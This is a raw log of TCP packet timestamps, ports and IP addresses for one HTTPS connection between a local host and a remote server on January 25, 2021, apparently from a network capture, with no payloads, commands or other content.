Jan 25, 2021 21:13:56.812750101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:56.812880993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:56.917270899 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.121905088 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.126616001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.126874924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.128297091 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.375576973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.453093052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.453136921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.453174114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.453196049 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.453212023 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.453248024 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.453263998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.453291893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.453322887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.453370094 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.455003977 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.455090046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.573028088 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.777709007 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.782440901 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:57.782660961 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:57.784581900 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.029819012 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.110908031 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.110930920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.110944033 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.110955954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.110968113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.110985994 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.111177921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.113046885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.113231897 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.229724884 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.434596062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.438911915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.439119101 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.440936089 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.685631037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.767962933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.768026114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.768071890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.768110037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.768157959 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.768165112 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.768201113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.768277884 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.768409967 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.770155907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:58.770279884 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:58.885878086 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.090531111 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.095788956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.096112967 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.097069025 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.341784954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.416040897 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.416080952 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.416115046 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.416145086 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.416153908 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.416184902 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.416218996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.416219950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.416302919 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.418075085 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.418198109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.527061939 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.731477976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.736017942 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:59.736265898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.738154888 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:59.985174894 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.061094046 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.061151981 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.061187983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.061235905 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.061237097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.061276913 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.061292887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.061315060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.061374903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.061434031 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.062772036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.062899113 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.166192055 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.370636940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.375735044 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.375935078 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.376738071 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.623083115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.703033924 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.703107119 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.703146935 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.703183889 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.703222990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.703260899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.703378916 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.703423977 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.704380035 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:00.704616070 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:00.808269024 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.012979031 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.018073082 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.018248081 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.020096064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.264802933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.343063116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.343106031 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.343125105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.343144894 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.343178034 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.343204975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.343281984 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.343328953 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.346946001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.347152948 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.464447021 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.669517994 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.674133062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:01.678324938 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.679770947 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:01.924779892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.002660990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.002736092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.002778053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.002815962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.002854109 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.002892017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.002902031 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.002998114 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.005084038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.005218983 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.119632006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.326189995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.329376936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.329601049 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.331450939 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.634228945 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.752618074 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.752772093 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.878139019 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.959636927 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.959707975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.959748030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.959777117 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.959786892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.959836006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.959840059 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.959878922 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.959903002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.959947109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:02.961380005 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:02.961489916 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.072735071 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.277266026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.282483101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.283433914 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.284912109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.531264067 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.609210014 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.609272003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.609312057 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.609354973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.609421968 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.609462976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.609466076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.609512091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.609600067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.611653090 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.611757994 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.730087996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.934516907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.940310001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:03.940440893 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:03.942487955 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.187570095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.272638083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.272694111 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.272732973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.272866011 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.272865057 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.272938013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.272967100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.273047924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.273082018 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.273171902 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.275259018 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.275386095 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.386379957 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.590965986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.595921040 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.596133947 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.597500086 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.843633890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.919246912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.919306993 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.919342995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.919382095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.919420004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.919445992 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.919461966 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.919527054 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:04.921564102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:04.921664953 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.026527882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.234879017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.237703085 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.237910032 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.239299059 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.505820990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.595120907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.595150948 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.595168114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.595185041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.595207930 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.595216990 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.595227003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.595252037 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.595263958 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.595331907 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.597100973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.597171068 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.713953018 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.918972969 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.924607038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:05.924696922 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:05.925426960 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.172424078 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.244550943 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.244610071 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.244652987 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.244694948 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.244715929 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.244729996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.244735956 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.244765997 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.244788885 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.244843006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.244848967 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.246448040 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.246548891 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.355595112 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.560559034 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.565756083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.565967083 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.567886114 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.825546026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.914726973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.914906025 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.914935112 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.914946079 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.914958954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.914978027 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.915273905 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:06.916580915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:06.916785002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.027755976 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.232600927 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.237555981 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.237708092 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.239643097 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.484610081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.557976007 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.558022022 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.558048964 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.558079958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.558109045 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.558135986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.558209896 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.558357000 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.559916019 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.560071945 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.667165041 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.871633053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.876454115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:07.876569033 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:07.877690077 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.122545004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.212358952 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.212390900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.212414980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.212439060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.212460995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.212486982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.212503910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.212538958 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.213258982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.213313103 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.324310064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.535386086 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.542437077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.542578936 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.543344021 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.788949966 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.875808001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.875874996 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.875925064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.875961065 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.875968933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.876036882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.876049042 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.876106977 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.876116037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.876169920 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.876182079 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.876235962 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.877480030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:08.877563953 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:08.979525089 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:09.184473991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.189141989 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.189357996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:09.190964937 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:09.435568094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.526572943 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.526604891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.526623011 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.526635885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.526652098 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.526668072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.526725054 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:09.526859045 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:09.530576944 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.530689001 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:09.636169910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:09.846843004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.854476929 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:09.854629993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:09.856276989 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:10.101069927 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.177723885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.177761078 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.177773952 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.177786112 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.177798986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.177814007 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.178170919 CET	49745	443	192.168.2.4	162.0.209.179
